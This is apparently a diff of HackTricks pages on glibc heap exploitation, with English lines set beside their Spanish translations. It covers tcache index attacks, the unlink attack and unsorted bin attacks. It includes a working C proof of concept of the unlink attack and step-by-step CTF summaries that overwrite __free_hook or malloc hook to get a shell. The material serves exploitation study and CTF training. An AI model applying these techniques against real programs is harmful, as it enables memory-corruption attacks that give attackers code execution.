- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - **Ataque de índices Tcache**: Es posible asignar y liberar un chunk de un tamaño que, cuando se almacena dentro del chunk tcache (el chunk con la información de los bins de tcache), generará una **dirección con el valor 0x100**. Esto se debe a que el tcache almacena la cantidad de chunks en cada bin en diferentes bytes, por lo tanto, un chunk en un índice específico genera el valor 0x100.
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - Luego, este valor parece que hay un chunk de tamaño 0x100. Permitiendo abusar de él al `free` esta dirección. Esto **agregará esa dirección al índice de chunks de tamaño 0x100 en el tcache**.
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - Luego, **asignando** un chunk de tamaño **0x100**, la dirección anterior será devuelta como un chunk, permitiendo sobrescribir otros índices de tcache.\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell. Por ejemplo, poniendo la dirección de malloc hook en uno de ellos y asignando un chunk del tamaño de ese índice otorgará un chunk en calloc hook, lo que permite escribir un one gadget para obtener un shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction - La misma vulnerabilidad que antes con una restricción adicional.
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. - **Ataque de índices Tcache**: Ataque similar al anterior pero utilizando menos pasos al **liberar el chunk que contiene la información de tcache** para que su dirección se agregue al índice de tcache de su tamaño, por lo que es posible asignar ese tamaño y obtener la información del chunk de tcache como un chunk, lo que permite agregar el free hook como la dirección de un índice, asignarlo y escribir un one gadget en él.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer. - **Escritura después de liberar** para agregar un número al puntero `fd`.
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - Se necesita mucho **heap feng-shui** en este desafío. El informe muestra cómo **controlar la cabeza de la lista libre de Tcache** es bastante útil.
- **Glibc leak** through `stdout` (FSOP). - **Fuga de Glibc** a través de `stdout` (FSOP).
- **Tcache poisoning** to get an arbitrary write primitive. - **Envenenamiento de Tcache** para obtener un primitivo de escritura arbitraria.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,15 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. Cuando se descubrió este ataque, principalmente permitía un WWW (Write What Where), sin embargo, se **agregaron algunas verificaciones** que hicieron que la nueva versión del ataque fuera más interesante, más compleja y **inútil**.
### Code Example: ### Ejemplo de Código:
<details> <details>
<summary>Code</summary> <summary>Código</summary>
```c ```c
#include <unistd.h> #include <unistd.h>
#include <stdlib.h> #include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { struct chunk_structure {
size_t prev_size; size_t prev_size;
size_t size; size_t size;
struct chunk_structure *fd; struct chunk_structure *fd;
struct chunk_structure *bk; struct chunk_structure *bk;
char buf[10]; // padding char buf[10]; // padding
}; };
int main() { int main() {
unsigned long long *chunk1, *chunk2; unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr; struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20]; char data[20];
// First grab two chunks (non fast) // First grab two chunks (non fast)
chunk1 = malloc(0x8000); chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000); chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1); printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check // Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1; fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000; fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks // Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3 // This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself. // i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data // We then make chunk1 point to some victim's data
free(chunk2); free(chunk2);
printf("Chunk1: %p\n", chunk1); printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data; chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data"); strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 // Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL; chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data); printf("%s\n", data);
return 0; return 0;
} }
``` ```
</details> </details>
- Attack doesn't work if tcaches are used (after 2.26) - El ataque no funciona si se utilizan tcaches (después de 2.26)
### Goal ### Objetivo
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. Este ataque permite **cambiar un puntero a un chunk para apuntar 3 direcciones antes de sí mismo**. Si esta nueva ubicación (alrededores de donde estaba el puntero) tiene cosas interesantes, como otras asignaciones controlables / stack..., es posible leer/sobrescribirlas para causar un daño mayor.
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary - Si este puntero estaba ubicado en la pila, porque ahora apunta 3 direcciones antes de sí mismo y el usuario potencialmente puede leerlo y modificarlo, será posible filtrar información sensible de la pila o incluso modificar la dirección de retorno (quizás) sin tocar el canario.
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - En ejemplos de CTF, este puntero está ubicado en un array de punteros a otras asignaciones, por lo tanto, al hacer que apunte 3 direcciones antes y poder leer y escribir en él, es posible hacer que los otros punteros apunten a otras direcciones.\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). Como potencialmente el usuario puede leer/escribir también las otras asignaciones, puede filtrar información o sobrescribir nuevas direcciones en ubicaciones arbitrarias (como en el GOT).
### Requirements ### Requisitos
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. - Algún control en una memoria (por ejemplo, pila) para crear un par de chunks dando valores a algunos de los atributos.
- Stack leak in order to set the pointers of the fake chunk. - Fuga de pila para poder establecer los punteros del chunk falso.
### Attack ### Ataque
- There are a couple of chunks (chunk1 and chunk2) - Hay un par de chunks (chunk1 y chunk2)
- The attacker controls the content of chunk1 and the headers of chunk2. - El atacante controla el contenido de chunk1 y los encabezados de chunk2.
- In chunk1 the attacker creates the structure of a fake chunk: - En chunk1, el atacante crea la estructura de un chunk falso:
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - Para eludir las protecciones, se asegura de que el campo `size` sea correcto para evitar el error: `corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: - y los campos `fd` y `bk` del chunk falso apuntan a donde se almacena el puntero de chunk1 con desplazamientos de -3 y -2 respectivamente, por lo que `fake_chunk->fd->bk` y `fake_chunk->bk->fd` apuntan a la posición en memoria (pila) donde se encuentra la dirección real de chunk1:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure> <figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. - Los encabezados de chunk2 se modifican para indicar que el chunk anterior no está en uso y que el tamaño es el tamaño del chunk falso contenido.
- When the second chunk is freed then this fake chunk is unlinked happening: - Cuando se libera el segundo chunk, este chunk falso se desvincula ocurriendo:
- `fake_chunk->fd->bk` = `fake_chunk->bk` - `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd` - `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. - Anteriormente se hizo que `fake_chunk->fd->bk` y `fake_chunk->bk->fd` apuntaran al mismo lugar (la ubicación en la pila donde se almacenó `chunk1`, por lo que era una lista enlazada válida). Como **ambos apuntan a la misma ubicación**, solo el último (`fake_chunk->bk->fd = fake_chunk->fd`) tendrá **efecto**.
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - Esto **sobrescribirá el puntero a chunk1 en la pila con la dirección (o bytes) almacenados 3 direcciones antes en la pila**.
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - Por lo tanto, si un atacante pudiera controlar nuevamente el contenido de chunk1, podrá **escribir dentro de la pila**, pudiendo potencialmente sobrescribir la dirección de retorno saltándose el canario y modificar los valores y puntos de las variables locales. Incluso modificando nuevamente la dirección de chunk1 almacenada en la pila a una ubicación diferente donde, si el atacante pudiera controlar nuevamente el contenido de chunk1, podrá escribir en cualquier lugar.
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. - Tenga en cuenta que esto fue posible porque las **direcciones se almacenan en la pila**. El riesgo y la explotación pueden depender de **dónde se almacenan las direcciones del chunk falso**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure> <figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References ## Referencias
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - Aunque sería extraño encontrar un ataque de desvinculación incluso en un CTF, aquí tienes algunos informes donde se utilizó este ataque:
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - Ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - En este ejemplo, en lugar de la pila, hay un array de direcciones malloc'ed. Se realiza el ataque de desvinculación para poder asignar un chunk aquí, por lo tanto, pudiendo controlar los punteros del array de direcciones malloc'ed. Luego, hay otra funcionalidad que permite modificar el contenido de los chunks en estas direcciones, lo que permite apuntar direcciones al GOT, modificar direcciones de funciones para obtener fugas y RCE.
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - Otro ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - Al igual que en el ejemplo anterior, hay un array de direcciones de asignaciones. Es posible realizar un ataque de desvinculación para hacer que la dirección de la primera asignación apunte a unas pocas posiciones antes de comenzar el array y sobrescribir esta asignación en la nueva posición. Por lo tanto, es posible sobrescribir punteros de otras asignaciones para apuntar al GOT de atoi, imprimirlo para obtener una fuga de libc y luego sobrescribir el GOT de atoi con la dirección de un gadget.
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - Ejemplo de CTF con funciones de malloc y free personalizadas que abusan de una vulnerabilidad muy similar al ataque de desvinculación: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. - Hay un desbordamiento que permite controlar los punteros FD y BK de malloc personalizado que serán (personalizados) liberados. Además, el heap tiene el bit de ejecución, por lo que es posible filtrar una dirección de heap y apuntar una función del GOT a un chunk de heap con un shellcode para ejecutar.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,73 +1,73 @@
# Unsorted Bin Attack # Ataque de Unsorted Bin
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
For more information about what is an unsorted bin check this page: Para más información sobre qué es un unsorted bin, consulta esta página:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
{{#endref}} {{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. Las listas no ordenadas pueden escribir la dirección en `unsorted_chunks (av)` en la dirección `bk` del chunk. Por lo tanto, si un atacante puede **modificar la dirección del puntero `bk`** en un chunk dentro del unsorted bin, podría **escribir esa dirección en una dirección arbitraria**, lo que podría ser útil para filtrar direcciones de Glibc o eludir alguna defensa.
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). Así que, básicamente, este ataque permite **establecer un número grande en una dirección arbitraria**. Este número grande es una dirección, que podría ser una dirección de heap o una dirección de Glibc. Un objetivo típico es **`global_max_fast`** para permitir crear bins de fast bin con tamaños más grandes (y pasar de un ataque de unsorted bin a un ataque de fast bin).
> [!TIP] > [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. > E> chando un vistazo al ejemplo proporcionado en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) y usando 0x4000 y 0x5000 en lugar de 0x400 y 0x500 como tamaños de chunk (para evitar Tcache), es posible ver que **hoy en día** el error **`malloc(): unsorted double linked list corrupted`** se activa.
> >
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. > Por lo tanto, este ataque de unsorted bin ahora (entre otras verificaciones) también requiere poder arreglar la lista doblemente enlazada para que esto se eluda `victim->bk->fd == victim` o no `victim->fd == av (arena)`, lo que significa que la dirección donde queremos escribir debe tener la dirección del chunk falso en su posición `fd` y que el `fd` del chunk falso apunta a la arena.
> [!CAUTION] > [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** > Ten en cuenta que este ataque corrompe el unsorted bin (por lo tanto, también pequeños y grandes). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.**
> >
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. > Ten en cuenta que sobrescribir **`global_max_fast`** podría ayudar en este caso confiando en que el fast bin podrá encargarse de todas las otras asignaciones hasta que se complete el exploit.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo explica muy bien, aunque si modificas los mallocs para asignar memoria lo suficientemente grande para no terminar en un Tcache, puedes ver que el error mencionado anteriormente aparece impidiendo esta técnica: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack ## Ataque de Infoleak de Unsorted Bin
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ Este es en realidad un concepto muy básico. Los chunks en el unsorted bin van a tener punteros. El primer chunk en el unsorted bin tendrá en realidad los enlaces **`fd`** y **`bk`** **apuntando a una parte de la arena principal (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. Por lo tanto, si puedes **poner un chunk dentro de un unsorted bin y leerlo** (uso después de liberar) o **asignarlo de nuevo sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes tener un **infoleak de Glibc**.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ Un [**ataque similar utilizado en este informe**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) fue abusar de una estructura de 4 chunks (A, B, C y D - D es solo para prevenir la consolidación con el chunk superior) así que se utilizó un desbordamiento de byte nulo en B para hacer que C indicara que B no estaba en uso. Además, en B se modificó el dato `prev_size` para que el tamaño en lugar de ser el tamaño de B fuera A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se asignó un nuevo chunk de tamaño A y luego las direcciones de libc filtradas se escribieron en B desde donde fueron filtradas.
## References & Other examples ## Referencias y Otros Ejemplos
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - El objetivo es sobrescribir una variable global con un valor mayor que 4869 para que sea posible obtener la bandera y PIE no está habilitado.
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - Es posible generar chunks de tamaños arbitrarios y hay un desbordamiento de heap con el tamaño deseado.
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - El ataque comienza creando 3 chunks: chunk0 para abusar del desbordamiento, chunk1 para ser desbordado y chunk2 para que el chunk superior no consolide los anteriores.
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - Luego, chunk1 se libera y chunk0 se desborda para que el puntero `bk` de chunk1 apunte a: `bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. - Luego, chunk3 se asigna con el mismo tamaño que chunk1, lo que activará el ataque de unsorted bin y modificará el valor de la variable global, haciendo posible obtener la bandera.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - La función de fusión es vulnerable porque si ambos índices pasados son el mismo, se reasignará sobre él y luego se liberará, pero devolviendo un puntero a esa región liberada que se puede usar.
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - Por lo tanto, **se crean 2 chunks**: **chunk0** que se fusionará consigo mismo y chunk1 para evitar consolidar con el chunk superior. Luego, se **llama a la función de fusión con chunk0** dos veces, lo que causará un uso después de liberar.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - Luego, se llama a la función **`view`** con el índice 2 (que es el índice del chunk de uso después de liberar), lo que **filtrará una dirección de libc**.
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - Como el binario tiene protecciones para solo malloc tamaños mayores que **`global_max_fast`**, por lo que no se usa fastbin, se va a usar un ataque de unsorted bin para sobrescribir la variable global `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, crear un nuevo chunk utilizará la dirección liberada previamente comprometida (0x20) que **activará el ataque de unsorted bin** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins.
- Now a **fast bin attack** is performed: - Ahora se realiza un **ataque de fast bin**:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - Primero, se descubre que es posible trabajar con fast **chunks de tamaño 200** en la ubicación de **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook - <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook> $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 <strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 </strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre> </code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - Si logramos obtener un chunk rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función de fusión con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función anterior **`__free_hook`**.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - Luego, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, por lo que se crea otro chunk de tamaño `0x1f8` para obtener un chunk de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address - Otro ejemplo de abusar de un desbordamiento de 1B para consolidar chunks en el unsorted bin y obtener un infoleak de libc y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget.
